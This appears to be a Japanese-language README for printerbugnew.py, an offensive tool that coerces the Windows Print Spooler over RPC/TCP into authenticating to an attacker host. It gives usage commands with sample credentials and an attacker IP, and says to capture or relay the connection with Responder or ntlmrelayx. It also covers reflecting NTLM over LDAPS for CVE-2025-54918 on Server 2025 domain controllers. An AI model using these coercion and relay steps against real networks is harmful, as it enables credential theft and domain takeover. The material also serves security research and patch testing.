Pure RPC over TCP プリンタスプーラートリガー

Windows 11 22H2+ / Windows Server 2025 向け

使用方法

printerbugnew.py <target_host> [username] [password] [domain] [attacker_host] [tcp_port]

使用例

匿名接続

printerbugnew.py 192.168.1.100

資格情報を使用

printerbugnew.py 192.168.1.100 admin Password123 DOMAIN

別ホスト（攻撃者）へのバックコネクトをトリガー

printerbugnew.py 192.168.1.100 admin Password123 DOMAIN 192.168.1.50

特定のRPCポートを使用

printerbugnew.py 192.168.1.100 admin Password123 DOMAIN 192.168.1.50 49152

注記

ターゲットは Windows 11 22H2+ または Server 2025 である必要があります（RPC over TCP がデフォルト）
旧バージョンでは、spoolss は Named Pipes (SMB) 上の RPC を使用します
ポート 135 と動的 RPC ポート (49152-65535) が開放されていることを確認してください
認証をキャプチャするには、attacker_host で Responder または ntlmrelayx を起動してください
この場合、スプーラー由来の不正な SPN により Kerberos が失敗し、NTLM フォールバックが強制されます。
ターゲットスプーラーの RPC/TCP ポートを確認するには、TCP/135 でターゲットの Endpoint Mapper (EPM) にインターフェイス UUID 12345678-1234-abcd-ef00-0123456789ab を照会してください。rpcdump.py、PortQry、またはお好みのツールを使用できます。あるいは、このコード内で EPM ルックアップを直接実装しても構いません ;)
元: https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py

CVE-2025-54918 のアップデート

このリフレクションを利用したエクスプロイトは、「新しい」printerbug (Named Pipes ではなく DCERPC) を使用する W2025 でのみ動作します。動作させるには、ntlmrelayx を数箇所修正する必要があります。その後、W2025 DC 上でプリンタバグをリモートでトリガーし、Channel Bindings が必須であっても LDAPS 経由で認証をリフレクトできます(!)

ldaprelayclient.py:

rpcrelayserver.py

そしてリレーします ;)

この脆弱性は 2025 年 9 月の Patch Tuesday で修正されました: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54918

この修正により、Type 3 メッセージが空の場合でも MIC が常に計算されるようになります。

この CVE の作者による貴重なヒントに感謝します :)

printerbugnew

人気